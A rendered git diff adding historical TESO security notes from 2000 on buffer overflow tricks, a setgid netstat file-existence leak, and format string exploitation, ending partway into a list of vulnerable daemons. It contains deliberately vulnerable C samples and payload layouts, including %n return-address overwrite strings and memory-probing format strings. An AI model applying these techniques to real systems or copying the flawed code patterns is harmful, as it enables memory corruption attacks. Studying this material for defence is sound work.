| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: some spicy tricks for buffer overflow exploitation | ||
| 8 | Date .................: 2000/05/20 13:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: some known, some possibly known, some unknown | ||
| 11 | Affected .............: buffer overflow exploits | ||
| 12 | Type of entity .......: program behaviour | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: various people, scut, skyper, duke | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | Although buffer overflows are kinda old now, there are still a lot of things | ||
| 20 | to discover. Here are a few tricks I noticed when playing around with | ||
| 21 | exploitation in the last two years. | ||
| 22 | |||
| 23 | |||
| 24 | trick I. "enlarging exploitation space" | ||
| 25 | |||
| 26 | This trick is known and although it is very helpful it is seldomly used. | ||
| 27 | Imagine a relativly small buffer of say 128 bytes, followed by the saved | ||
| 28 | framepointer and the return address. In normal remote exploitation you | ||
| 29 | would use a position independant portshell code, which may be around 125 | ||
| 30 | bytes for the x86 architecture. Since you have 128+4 (132) bytes before | ||
| 31 | the return address you can prepend the shellcode with some 7 bytes of | ||
| 32 | NOP instructions. So your return address has to hit the NOP space in a | ||
| 33 | 7 byte long frame, which requires exact knowledge about the target binary. | ||
| 34 | |||
| 35 | However in case you're allowed to store more data you can use a small trick | ||
| 36 | to enlarge your offset frame. Say you can write 256 bytes at max to the | ||
| 37 | target buffer. Before the trick your target buffer looks like: | ||
| 38 | |||
| 39 | <7 NOP><shellcode><retaddr> | ||
| 40 | |||
| 41 | Using the trick it looks like: | ||
| 42 | |||
| 43 | <130 NOP><jmp-ahead><retaddr><3 NOP><shellcode> | ||
| 44 | |||
| 45 | Now you have a target frame of 133 bytes, and the offset is way more | ||
| 46 | reliable. The <jmp-ahead> is a two byte instruction which does nothing but | ||
| 47 | jumps 4 bytes ahead, so in case you hit the 130 bytes NOP space with your | ||
| 48 | offset you don't "execute" the return address. | ||
| 49 | |||
| 50 | |||
| 51 | trick II. "lower stack space page fault" | ||
| 52 | |||
| 53 | Sometimes there is code like this: | ||
| 54 | |||
| 55 | void func (char *foo) { | ||
| 56 | char * moo = foo; | ||
| 57 | char buffer[256]; | ||
| 58 | |||
| 59 | strcpy (buffer, foo); | ||
| 60 | moo += strlen (foo); | ||
| 61 | if (*moo != '\0') | ||
| 62 | exit (1); | ||
| 63 | } | ||
| 64 | |||
| 65 | Although this code snippet makes no sense it effectivly denies a simple | ||
| 66 | buffer overflow exploitation. However, clever people might overwrite the | ||
| 67 | `moo' pointer with a valid pointer that points to a bunch of NUL bytes. | ||
| 68 | But how to get a large space fully populated by NUL bytes ? On the x86 | ||
| 69 | architecture (and most other architectures) you can just use a lower stack | ||
| 70 | page. Since it will be unused when the pointer is first used (by the *moo), | ||
| 71 | this will create a page fault in the kernel, and the kernel will allocate | ||
| 72 | us a new page. Since the kernel ensures you cannot read other processes | ||
| 73 | memory it overwrites the page with NUL bytes. Bingo. | ||
| 74 | Just overwrite this example with: | ||
| 75 | |||
| 76 | <NOP><shellcode><0xbfffd010><retaddr> | ||
| 77 | |||
| 78 | The 0xbfffd010 will be the new moo pointer. | ||
| 79 | |||
| 80 | |||
| 81 | trick III. "incremental NUL byte creation" | ||
| 82 | |||
| 83 | On some big endian architectures you're faced with the problem of creating | ||
| 84 | a 64 bit pointer as return address, while there is a no way to insert NUL | ||
| 85 | bytes. This is nasty if the upper bits of the address have to be \x00. | ||
| 86 | |||
| 87 | In most cases this renders a simple exploitation undoable, except for one | ||
| 88 | case, where some special code is used. | ||
| 89 | Imagine something like: | ||
| 90 | |||
| 91 | void func (void) { | ||
| 92 | char buffer[256]; | ||
| 93 | |||
| 94 | while (gets (buffer) != NULL) | ||
| 95 | parseline (buffer); | ||
| 96 | } | ||
| 97 | |||
| 98 | Normally the stack space looks like | ||
| 99 | |||
| 100 | <buffer><framepointer><retaddr> | ||
| 101 | |||
| 102 | We assume that both the framepointer and the retaddr are 64 bit pointers, | ||
| 103 | stored big endian and the upper 32 bits have to be zero'ed out (this is | ||
| 104 | the case on Irix for example). Now we have a problem since we cannot | ||
| 105 | store NUL bytes but are required to in order to overwrite the retaddr with | ||
| 106 | a valid address that points into our code. But we can exploit the | ||
| 107 | incremental behaviour, by using something like this: | ||
| 108 | |||
| 109 | <264 buffer with NOPS and shellcode><4 dummy bytes><lower 32 bits retaddr> | ||
| 110 | <264 buffer with NOPS and shellcode><3 dummy bytes> | ||
| 111 | <264 buffer with NOPS and shellcode><2 dummy bytes> | ||
| 112 | <264 buffer with NOPS and shellcode><1 dummy bytes> | ||
| 113 | <264 buffer with NOPS and shellcode><0 dummy bytes> | ||
| 114 | |||
| 115 | We overflow the buffer five times, the first time we write the correct | ||
| 116 | return address in the lower 32 bits, but set the upper 32 bits to something | ||
| 117 | non-NUL. Then we overflow four times more to store a NUL byte each time, | ||
| 118 | effectivly resulting in a buffer layout like: | ||
| 119 | |||
| 120 | <264 buffer with NOPS and shellcode>0x000000007fff2058 | ||
| 121 | |||
| 122 | |||
| 123 | trick IV. "type issues and funky long strings" | ||
| 124 | |||
| 125 | No length can be negative. Every physics knows this, but some people, like | ||
| 126 | l0pht don't know this ;-). So all string functions take unsigned arguments | ||
| 127 | if a length is required, as in strncat and strncpy. However, if the user | ||
| 128 | has a way to supply the length argument you can render the length protection | ||
| 129 | unuseable. Though this is normally not the case, there are some very nasty | ||
| 130 | ways this can happen. An example snippet may look like: | ||
| 131 | |||
| 132 | void func(char *dnslabel) { | ||
| 133 | char buffer[256]; | ||
| 134 | char * indx = dnslabel; | ||
| 135 | int count; | ||
| 136 | |||
| 137 | count = *indx; | ||
| 138 | buffer[0] = '\x00'; | ||
| 139 | |||
| 140 | while (count != 0 && (count + strlen (buffer)) < sizeof (buffer) - 1) { | ||
| 141 | strncat (buffer, indx, count); | ||
| 142 | indx += count; | ||
| 143 | count = *indx; | ||
| 144 | } | ||
| 145 | } | ||
| 146 | |||
| 147 | Although length checking and strn* functions were used this is exploitable, | ||
| 148 | because count can contain negative values. (char) is a signed type and will | ||
| 149 | be sign extended to a larger type, such as (int). Therefore the | ||
| 150 | "count = *indx;" statement can assign count values from -128 to +127. This | ||
| 151 | way the later check can be circumvented. For the strncat function the count | ||
| 152 | value will be used as if it would be assigned to an unsigned int variable, | ||
| 153 | resulting in a very large number (on 32 bit systems -1 will be 2^32-1). | ||
| 154 | This complicated scheme has many little mods, and you can way too fast | ||
| 155 | assume a fix might be just to put unsigned type modifiers in front of the | ||
| 156 | count variables, but it remains exploitable. | ||
| 157 | |||
| 158 | Every function that takes a size_t argument expects an unsigned value. | ||
| 159 | However if the program can be tricked into supplying a negative (signed) | ||
| 160 | number as size argument this value will be casted to unsigned, hence | ||
| 161 | resulting in a very large number. This is useful for any strn* function, | ||
| 162 | where the source string is user supplied. | ||
| 163 | |||
| 164 | |||
| 165 | trick V. "overflow too short" | ||
| 166 | |||
| 167 | Often your reachability is limited when overwriting the target buffer, | ||
| 168 | sometimes it does not even reach the return address or only parts of it. | ||
| 169 | There are several known methods to help you in this situation, most famous | ||
| 170 | the "one byte framepointer overflow". However, in case you can overwrite | ||
| 171 | pointers that are later write-accessed you can possibly write to an arbitrary | ||
| 172 | location in the process memory. This has been well demonstrated by bulba and | ||
| 173 | kiler of lam3rz in their phrack 56 article, however under the scope of | ||
| 174 | circumventing StackShield and StackGuard protections. Also you can utilize | ||
| 175 | heap overflow like techniques in the local variable stack space you can | ||
| 176 | overwrite to jump to your code if possible. Also, if you just can't reach | ||
| 177 | the framepointer or return address, take a look at the local variables | ||
| 178 | inbetween your buffer and the return address. Maybe you can first go for | ||
| 179 | them allowing you to later overwrite the return address. | ||
| 180 | |||
| 181 | |||
| 182 | trick VI. "s[n]printf issues" | ||
| 183 | |||
| 184 | Sometimes programmers make a very nasty mistake when dealing with user | ||
| 185 | supplied data and sprintf (or snprintf) type of functions. They directly | ||
| 186 | allow the user to put format characters into the string. This looks like | ||
| 187 | |||
| 188 | void func (char *str, char *password) { | ||
| 189 | char msg[1024]; | ||
| 190 | |||
| 191 | snprintf (msg, sizeof (msg) - 1, str); | ||
| 192 | ... | ||
| 193 | } | ||
| 194 | |||
| 195 | If the user can supply the string pointed to by str he can do some nasty | ||
| 196 | things: | ||
| 197 | |||
| 198 | - it may be possible to obtain otherwise secret information, if the user | ||
| 199 | has the possibility to obtain the msg string later. This can be done by | ||
| 200 | inserting %p and %s format characters, which will pull the stack | ||
| 201 | parameters into the output string. Although a segfault might be the | ||
| 202 | direct result, it may be useful. | ||
| 203 | |||
| 204 | - exploitation ! "how ?" you might ask, and yes, it's really tricky. here | ||
| 205 | is a snippet from the sprintf manpage: | ||
| 206 | |||
| 207 | n The number of characters written so far is stored | ||
| 208 | into the integer indicated by the ``int *'' (or | ||
| 209 | variant) pointer argument. No argument is con- | ||
| 210 | verted. | ||
| 211 | |||
| 212 | So you can write a small 32 bit number (or 64 bit, depending on the | ||
| 213 | architecture) to a pointer which is on the stack. So if the stack might | ||
| 214 | look like this (in a suid local application): | ||
| 215 | |||
| 216 | 32 bits (void *) <some pointer> | ||
| 217 | 32 bits (char *) <user supplied string> | ||
| 218 | |||
| 219 | You can use a format string like "0123%n" to write 0x00000004 to the | ||
| 220 | location where <some pointer> points to. This requires a very special | ||
| 221 | context for real exploitation, but it is worth it. Also, if you have | ||
| 222 | somehow the method to set the pointer arbitrarily where the integer | ||
| 223 | is stored you can set it on an uneven boundary to only partially over- | ||
| 224 | write things (like the frame pointer), which may be interesting. | ||
| 225 | |||
| 226 | (update: this can be done very effictivly using the technique described | ||
| 227 | in TESO Informational #27. Also it is very helpful if you can see the | ||
| 228 | printf'd string as response before actually exploiting.) | ||
| 229 | |||
| 230 | - enlarging the exploitation buffer, using something like this: | ||
| 231 | "%8d%8d%8d%8d<buffer>", so you'll get 8*4 = 32 bytes in front of the | ||
| 232 | buffer, only wasting 12 bytes. Though this destroys the stack, but since | ||
| 233 | you're going to destroy it anyway, this doesn't matter :-) | ||
| 234 | Also try "%-200d", which will create a 200 byte long space right-padded | ||
| 235 | string, or "%.100d" which will create up to 100 zero characters. There | ||
| 236 | is an overflow in the libc where "%.1200d" creates a segfault. This isn't | ||
| 237 | the case for the space padding. | ||
| 238 | |||
| 239 | |||
| 240 | trick VII. "sizeof (string) and i'm safe, right ?" | ||
| 241 | |||
| 242 | Often people think if they use sizeof() stuff in string functions they are | ||
| 243 | safe. Most of the times this is true, but there are differences among the | ||
| 244 | str*n* functions that a programmer might oversee. | ||
| 245 | |||
| 246 | strncpy (target, source, sizeof (target)) is safe, as we all knew, but | ||
| 247 | what about | ||
| 248 | |||
| 249 | strcpy (target, ""); | ||
| 250 | strncat (target, source, sizeof (target)); | ||
| 251 | |||
| 252 | This is not safe, since strncat appends sizeof (target) characters plus a | ||
| 253 | trailing NUL character. If you're unsure about whether some string function | ||
| 254 | terminates on the sizeof's byte or at the sizeof's - 1 byte, just write | ||
| 255 | a small test program to check out. Most programmers are unsure about the | ||
| 256 | behaviour of the string functions and may introduce exploitable one byte | ||
| 257 | overflows this way. | ||
| 258 | |||
| 259 | |||
| 260 | trick VIII. "adjascent buffers" | ||
| 261 | |||
| 262 | This was known before the article in Phrack 56, but the article offers a | ||
| 263 | great in-depth discussion about this problem. Basically it works like: | ||
| 264 | |||
| 265 | void func (char *foo) { | ||
| 266 | char buf[32]; | ||
| 267 | char buf1[16]; | ||
| 268 | char buf2[16]; | ||
| 269 | |||
| 270 | buf1[0] = buf2[0] = '\x00'; | ||
| 271 | strncat (buf2, foo, sizeof (buf2)); | ||
| 272 | strcpy (buf1, "blablabla"); | ||
| 273 | |||
| 274 | buf[0] = '\x00'; | ||
| 275 | strcat (buf, buf1); | ||
| 276 | strcat (buf, buf2); | ||
| 277 | } | ||
| 278 | |||
| 279 | The programmer assumes that proper bound checking has been done before and | ||
| 280 | later uses direct strcat's to construct a string in buffer "buf". But the | ||
| 281 | strcat (buf, buf2) may very well add more then sizeof (buf2) characters, | ||
| 282 | since buf2 can be non-NUL terminated. This is because of the strncat, as | ||
| 283 | explained in trick VII. You can overwrite the lower three bytes of the | ||
| 284 | frame pointer in this example code. | ||
| 285 | |||
| 286 | |||
| 287 | If you know some tricks not listed here, please mail them to me | ||
| 288 | (scut@nb.in-berlin.de). | ||
| 289 | |||
| 290 | =============================================================================== | ||
| 291 | |||
diff --git a/informationals/teso-i0026.txt b/informationals/teso-i0026.txt new file mode 100644 index 0000000..f2178ac --- /dev/null +++ b/informationals/teso-i0026.txt | |||
| @@ -0,0 +1,54 @@ | |||
| 1 | 0026 2000/05/30 file existance check through suid binaries | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: file existance check through suid binaries | ||
| 8 | Date .................: 2000/05/30 22:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: most likely known | ||
| 11 | Affected .............: some suid binaries | ||
| 12 | Type of entity .......: program behaviour | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: scut | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | Some suid binaries take filenames as arguments. Some of them even do something | ||
| 20 | with the files they take as arguments. And some will even tell you somehow what | ||
| 21 | happened when they do something. | ||
| 22 | |||
| 23 | This natural behaviour may manifast itself in a small error which could be | ||
| 24 | security relevant glitch which allows to check for file existance, although | ||
| 25 | normally your permission would forbid that. | ||
| 26 | |||
| 27 | As an example, here is the behaviour of the latest IRIX 6.5 netstat binary, | ||
| 28 | which happens to have setgid sys permissions. The directory "/tmp/rootonly" | ||
| 29 | is only accessible to the root user and users in the sys group, so normal | ||
| 30 | users don't have permission to access it, but netstat has. | ||
| 31 | Netstat uses the stat() function to check for file existance. | ||
| 32 | |||
| 33 | hyperion 24% ls -lsa /tmp/rootonly/ | ||
| 34 | Cannot access directory /tmp/rootonly/: Permission denied | ||
| 35 | total 0 | ||
| 36 | hyperion 25% ls -lsa /tmp/rootonly/foobar | ||
| 37 | Cannot access /tmp/rootonly/foobar: Permission denied | ||
| 38 | hyperion 26% /usr/etc/netstat 1 /tmp/rootonly/foo | ||
| 39 | netstat: cannot open /tmp/rootonly/foo: No such file or directory | ||
| 40 | hyperion 27% /usr/etc/netstat 1 /tmp/rootonly/foobar | ||
| 41 | input (ec0) output input (Total) output | ||
| 42 | packets errs packets errs colls packets errs packets errs colls | ||
| 43 | 14980 0 10661 0 45 15353 0 11034 0 45 | ||
| 44 | hyperion 28% | ||
| 45 | |||
| 46 | The same can be applied to directories, which can be stat'ed too. There | ||
| 47 | is a trick to decide whether a found name is a directory or not. | ||
| 48 | Let's say you discovered that there is something stat'able called "foo". | ||
| 49 | Just append a "/." to it and check for "foo/.". If it is a file this | ||
| 50 | won't work, if it is a directory, stat() will happen as if you didn't | ||
| 51 | appended the string. | ||
| 52 | |||
| 53 | =============================================================================== | ||
| 54 | |||
diff --git a/informationals/teso-i0027.txt b/informationals/teso-i0027.txt new file mode 100644 index 0000000..6047f11 --- /dev/null +++ b/informationals/teso-i0027.txt | |||
| @@ -0,0 +1,279 @@ | |||
| 1 | 0027 2000/06/29 format string supply vulnerabilities and exploitation | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: format string supply vulnerabilities and exploitation | ||
| 8 | Date .................: 2000/06/29 22:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: partly known | ||
| 11 | Affected .............: programs containing format string vulnerabilities | ||
| 12 | Type of entity .......: exploitation techniques | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: various people, comments by scut and smiler | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | Some programs use the printf format strings in a way that let users supply | ||
| 20 | either the whole or parts of the format string. This way users may use special | ||
| 21 | format characters to write to parts of the memory, resulting in a compromise. | ||
| 22 | |||
| 23 | For example, code like this is vulnerable: | ||
| 24 | |||
| 25 | void | ||
| 26 | func (char *usersupplied) | ||
| 27 | { | ||
| 28 | char buffer[512]; | ||
| 29 | |||
| 30 | snprintf (buffer, sizeof (buffer), usersupplied); | ||
| 31 | buffer[sizeof (buffer) - 1] = '\x00'; | ||
| 32 | } | ||
| 33 | |||
| 34 | By using a usersupplied string like "%p" the user may control parts of the | ||
| 35 | behaviors of the snprintf function. While most of the format control characters | ||
| 36 | only pop data from the stack and display it, like "%d" pulls an integer value | ||
| 37 | from the stack and writes the ascii representation of it to the string, the | ||
| 38 | "%n" parameter does something special. It writes the number of bytes the | ||
| 39 | snprintf function has written already to the (int *) which lies next on the | ||
| 40 | stack. | ||
| 41 | |||
| 42 | Sometimes this may not be necessary, as in this example: | ||
| 43 | |||
| 44 | void | ||
| 45 | func (char *usersupplied) | ||
| 46 | { | ||
| 47 | char buffer[512]; | ||
| 48 | |||
| 49 | if (strlen (usersupplied) > 200) | ||
| 50 | return; | ||
| 51 | |||
| 52 | sprintf (buffer, usersupplied); | ||
| 53 | } | ||
| 54 | |||
| 55 | In this case we need to expand our userbuffer from less then 200 bytes to more | ||
| 56 | then 512 bytes to create an ordinary stack overflow. This can be done using | ||
| 57 | a variety of format controls. You can use "%400d" to create a 400 byte long | ||
| 58 | string, then use ordinary data to overwrite the return address. Older GNU | ||
| 59 | libc libraries contain a bug when the number of characters exceeds 1000. Then, | ||
| 60 | instead of using something like "%2000d", just use "%-2000d", which pads with | ||
| 61 | spaces to the right. | ||
| 62 | |||
| 63 | But in cases where a limited printf function, such as snprintf, syslog and | ||
| 64 | vsnprintf is used, we have to use another method to exploit this. Remember | ||
| 65 | the "%n" format control, it stores the number of written characters. Ok, | ||
| 66 | we may overwrite memory with it, but how do we overwrite an arbitrary | ||
| 67 | address of our choice ? | ||
| 68 | |||
| 69 | To do this, we have to make the stack pointer point to the address we want | ||
| 70 | to write to. The most favorable situation would be if the stack pointer points | ||
| 71 | into our format string, so we can store the address there and then use "%n" to | ||
| 72 | write to it. Most of the times the memory layout looks like: | ||
| 73 | |||
| 74 | |||
| 75 | 1 3 2 | ||
| 76 | < data ... > < format string ... > | ||
| 77 | lower stack addresses higher stack addresses | ||
| 78 | |||
| 79 | Where the stack pointer points to (1). We have to move it so that it points | ||
| 80 | to the (2) position using control characters, such as "%f", and "%d". On the | ||
| 81 | x86 architecture an integer takes up four bytes (ILP32 rule), and a %d will | ||
| 82 | pop four bytes from the stack, increasing the stack pointer by a value of four. | ||
| 83 | This way we have the stack pointer at (3) now. So we use another bunch of | ||
| 84 | format parameters to move it upwards until it points to (2). If our format | ||
| 85 | string is of limited size we should look at efficiency doing so. Lets | ||
| 86 | consider we use "%d" and we have to move it by 256 bytes upward. Then we have | ||
| 87 | to use 64 "%d" sequences, which take up 128 bytes. The expansion ratio is | ||
| 88 | 2:4 = 1:2. Two bytes ("%d") result in four bytes being popped. A more efficient | ||
| 89 | solution is the usage of "%f", which pulls 8 bytes from the stack. But there | ||
| 90 | is something odd about that, since "%f" is a float, it is evaluated in another | ||
| 91 | way then "%d", and while doing so it may cause an arithmetic exception because | ||
| 92 | of a division by zero. Since you cannot control the data that is popped from | ||
| 93 | the stack, it cannot be used. However, if you use "%.f" instead, an invalid | ||
| 94 | float number won't cause an exception, but still it pops eight bytes from the | ||
| 95 | stack, so it's exactly what we need. It is more efficient than the "%d" method, | ||
| 96 | since three bytes ("%.f") will pop eight, so it's 3:8, and thats greater then | ||
| 97 | 2:4. | ||
| 98 | |||
| 99 | So what to do if by popping you get the stack pointer into the regions of a | ||
| 100 | buffer you can supply (2), but it's misaligned ? Is there such things as a | ||
| 101 | one-byte-pop control sequence ? | ||
| 102 | Fortunately there is no such thing, but you can get rid of that by using a | ||
| 103 | special alignment in your buffer, and just use "ppp<buffer>" instead of | ||
| 104 | "<buffer>", where 'p' is the padding, which varies from zero to three | ||
| 105 | characters. After all, you should get the stack pointer pointing exactly to | ||
| 106 | the first byte of <buffer> by using the methods above. | ||
| 107 | |||
| 108 | Now, you can store an address to write to in that buffer, so for x86 you'd | ||
| 109 | want to store it in little endian order. Say we want to store 0xbfff3407, | ||
| 110 | then the buffer would look like "\x07\x34\xff\xbf". Now, the stack pointer | ||
| 111 | points to it and the usage of "%n" write the counter of written bytes to | ||
| 112 | it. Not very helpful, since we cannot control this counter, at least not | ||
| 113 | fully. | ||
| 114 | |||
| 115 | So what can we control ? We control the address the counter is written to, | ||
| 116 | and we can modify the counter a bit by using some bogus data, that will | ||
| 117 | increase it. So here is an example: | ||
| 118 | |||
| 119 | int i; | ||
| 120 | |||
| 121 | printf ("aaaaaaaa%20d%n\n", 3, &i); | ||
| 122 | printf ("%d\n", i); | ||
| 123 | |||
| 124 | Will create an output like: | ||
| 125 | |||
| 126 | aaaaaaaa 3 | ||
| 127 | 28 | ||
| 128 | |||
| 129 | So we have increased the number of written bytes by 20 with our "%20d". How | ||
| 130 | much can we increase it ? So high that we can write, say 0xbfff9210 ? | ||
| 131 | In some GNU libc versions we can increase it beyond the number of allowed | ||
| 132 | characters, but if it gets too high, the library crashes. So to assume the | ||
| 133 | worst, say, we just can increase it in very small boundaries, like no more | ||
| 134 | then 0x100. So we can store small numbers, where the least significant byte | ||
| 135 | is under our control to a location of our choice. And we can do this more | ||
| 136 | then once. | ||
| 137 | |||
| 138 | To say it clearer, we can store a byte of our choice to a location of our | ||
| 139 | choice. More then once, as often as we want. And an address just consists | ||
| 140 | out of four bytes. | ||
| 141 | |||
| 142 | So what do we do ? | ||
| 143 | |||
| 144 | Say the return address we want to overwrite is located at 0xbfff82e8 | ||
| 145 | |||
| 146 | 0xbfff82e8: 0x44 0x20 0x08 0x08 0x7a 0xb0 0xff 0xbf | ||
| 147 | ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ | ||
| 148 | return address data behind it (fp) | ||
| 149 | |||
| 150 | |||
| 151 | So to overwrite the return address we overwrite four bytes, we start with | ||
| 152 | the least significant, which is the leftmost in little endian notation. So | ||
| 153 | say we want to replace the return address with 0xbfff8010, then we have to | ||
| 154 | make the four bytes | ||
| 155 | |||
| 156 | 0xbfff82e8: 0x10 0x80 0xff 0xbf | ||
| 157 | |||
| 158 | To do this we have to start with the leftmost, by storing 0x10 to | ||
| 159 | 0xbfff82e8: | ||
| 160 | |||
| 161 | (a) (b) | ||
| 162 | "\x01\x02\x03\x04\xe8\x82\xff\xbf<stackpop><pad>%n" | ||
| 163 | |||
| 164 | Where <stackpop> makes the stack pointer point to the first byte (a) of | ||
| 165 | our buffer. Then we use <pad> to increase the counter of written bytes to | ||
| 166 | a value where the least significant byte is the one we want to store. So | ||
| 167 | if the counter is 0x000000e0, we increase it by 0x30, and hence use "%48d" | ||
| 168 | as padding. Now the stack pointer points to (b), where our target address | ||
| 169 | is stored, and the counter is 0x00000110. Now we use "%n" to store this | ||
| 170 | counter to the address. After that, the memory will look like: | ||
| 171 | |||
| 172 | 0xbfff82e8: 0x10 0x01 0x00 0x00 0x7a 0xb0 0xff 0xbf | ||
| 173 | |||
| 174 | So the leftmost byte is that of our choice, and the counter is 0x0110 now. | ||
| 175 | The next byte we want to store is 0x80, which is 0x70 higher then 0x10, so | ||
| 176 | we use "%112d" to increase it by that value, and then use "%n" to store it | ||
| 177 | to 0xbfff82e9. But we have to reconstruct the format buffer to do this. | ||
| 178 | |||
| 179 | (c) (d) | ||
| 180 | "\x01\x02\x03\x04\xe8\x82\xff\xbf\x01\x02\x03\x04\xe9\x82\xff\xbf" | ||
| 181 | "<stackpop><pad1>%n<pad2>%n" | ||
| 182 | |||
| 183 | After the first write the stack pointer points to (c) now, and we use the | ||
| 184 | pad2 ("%112d") with this dummy value to increase the counter so that the | ||
| 185 | LSB is 0x80. The stack pointer points to (d) now, and we use "%n" once again | ||
| 186 | to store the 32 bit counter to the 0xbfff82e9 address. | ||
| 187 | The stack data looks like this now: | ||
| 188 | |||
| 189 | [-----------------] | ||
| 190 | [------------------] | ||
| 191 | 0xbfff82e8: 0x10 0x80 0x01 0x00 0x00 0xb0 0xff 0xbf | ||
| 192 | ^^^^ | ||
| 193 | |||
| 194 | Note that we destroyed the byte behind the return address with our second | ||
| 195 | write. Now we proceed using the same method for the last two bytes, and the | ||
| 196 | final memory looks like: | ||
| 197 | |||
| 198 | 1rst write [-----------------] | ||
| 199 | 2nd [------------------] | ||
| 200 | 3rd [------------------] | ||
| 201 | 4th [------------------] | ||
| 202 | 0xbfff82e8: 0x10 0x80 0xff 0xbf 0x02 0x00 0x00 0xbf | ||
| 203 | |||
| 204 | We've replaced the return address with the one of our choice now, using four | ||
| 205 | times the "%n" format parameter. | ||
| 206 | |||
| 207 | |||
| 208 | PROBLEMS YOU MAY RUN INTO | ||
| 209 | |||
| 210 | [1. figuring the distance] | ||
| 211 | |||
| 212 | The first problem is to know many bytes the stack pointer is away from your | ||
| 213 | buffer. This can be found out easily, if you can see the buffer output. To | ||
| 214 | do this, you create a buffer like this: | ||
| 215 | |||
| 216 | "iiiioooo<stackpop-fixed><stackpop-vary>|%08x|%08x|" | ||
| 217 | |||
| 218 | The stackpop-fixed consists out of the minimum distance you assume, so it | ||
| 219 | is just a few dozen times "%.f". The vary-buffer is increased each try from | ||
| 220 | "" to as much "%.f"'s as you need. Then two "%08x"'s are used to inspect the | ||
| 221 | content where the stack pointer points to. So if you see your "iiiioooo" | ||
| 222 | as "|69696969|6f6f6f6f|" or "|..696969|69", "|....6969|6969" or | ||
| 223 | "......69|696969", then you can recalculate both the buffer distance to the | ||
| 224 | stack pointer and the alignment necessary. | ||
| 225 | |||
| 226 | |||
| 227 | [2. buffer address] | ||
| 228 | |||
| 229 | One problem may be that you need to know the exact addresses of your buffer | ||
| 230 | and of the return address location. This can be solved using two tricks. | ||
| 231 | First the distance between this addresses may not vary that much, so if | ||
| 232 | you know one address you can most likely make an educated guess about the | ||
| 233 | other one. But how do we know the first one ? | ||
| 234 | |||
| 235 | First you need to decide what kind of buffer address you want to brute force, | ||
| 236 | the format buffer or the target buffer. Because there is not always a simple | ||
| 237 | target buffer, such as if you use fprintf, we try with the source buffer here. | ||
| 238 | |||
| 239 | The main idea is that we inspect the memory using a pointer we supply. Since | ||
| 240 | we already know the distance, we use a buffer like this: | ||
| 241 | |||
| 242 | "<p-address><stackpop>|____________________|x|%.20s!" | ||
| 243 | |||
| 244 | It works like this: We first pop the stack pointer using the <stackpop> code, | ||
| 245 | so that we advance the it by the distance we figured using the [1.] trick. | ||
| 246 | Then we write a 20 byte long string containing '_' characters, followed by a | ||
| 247 | mark "|x|". Now we use "%.20s" to get no more then 20 bytes of data from the | ||
| 248 | address <p-address>. So we can inspect 20 Bytes of memory at a time if we | ||
| 249 | can see the output. If we get output such as this, | ||
| 250 | |||
| 251 | [------ n bytes ----](1) (2) | ||
| 252 | "...crap...|____________________|x|___________|x|... crap ..." | ||
| 253 | |||
| 254 | we can recalculate the exact buffer location, because we knew the p-address | ||
| 255 | pointed to the (1) address in the format string. So by using this formula: | ||
| 256 | |||
| 257 | buffer_address = p-address + ((2) - (1)) - n. | ||
| 258 | |||
| 259 | To distinguish the source from the destination buffer we use a trick, we store | ||
| 260 | a "%%" within the source buffer, which gets evaluated to just "%" in the | ||
| 261 | target. | ||
| 262 | |||
| 263 | |||
| 264 | [3. getting the return address location] | ||
| 265 | |||
| 266 | This may be extrapolated from the buffer address, but there is another nice | ||
| 267 | method to get it. Remember the "%s" we used to inspect memory ? Why not | ||
| 268 | inspect the target memory where the return address may lie too ? So use | ||
| 269 | something like: | ||
| 270 | |||
| 271 | "<p-address><stackpop>|%.4s|" | ||
| 272 | |||
| 273 | And brute the p-address around where you suspect the return address lies. | ||
| 274 | So if you know normally there is an address like 0x0804.... stored there, | ||
| 275 | just brute until you find it. This way you avoid segfaults. | ||
| 276 | |||
| 277 | |||
| 278 | =============================================================================== | ||
| 279 | |||
diff --git a/informationals/teso-i0028.txt b/informationals/teso-i0028.txt new file mode 100644 index 0000000..b012b7d --- /dev/null +++ b/informationals/teso-i0028.txt | |||
| @@ -0,0 +1,90 @@ | |||
| 1 | 0028 2000/09/17 new format string problems (ntalkd, radiusd, innd, samba) | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: new format string problems (ntalkd, radiusd, innd, | ||
| 8 | samba) | ||
| 9 | Date .................: 2000/09/17 12:00 | ||
| 10 | Author ...............: scut | ||
| 11 | Publicity level ......: partly known | ||
| 12 | Affected .............: programs containing format string vulnerabilities | ||
| 13 | Type of entity .......: exploitable format string vulnerabilities | ||
| 14 | Type of discovery ....: useful information | ||
| 15 | Severity/Importance ..: high | ||
| 16 | Found by .............: various people, scut (using typo's elite tesogcc) | ||
| 17 | |||
| 18 | =============================================================================== | ||
| 19 | |||
| 20 | --[ linux-ftpd source in netstd package of Debian 2.2 potato | ||
| 21 | |||
| 22 | ftpd.c, /setproctitle | ||
| 23 | |||
| 24 | While this problem is within the source of any Linux distribution, it only | ||
| 25 | manifests in Debian because the define that has to be matched | ||
| 26 | (HAVE_SETPROCTITLE) is only triggered on Debian. It is exploitable for | ||
| 27 | anonymous/ftp logins where the supplied password (which should be the email | ||
| 28 | address) is used as part of the format string in the setproctitle call. Though | ||
| 29 | this problem was discussed on Bugtraq in Juli 2000, there is still no public | ||
| 30 | exploit for this problem. Interestingly the same problem is within the Irix | ||
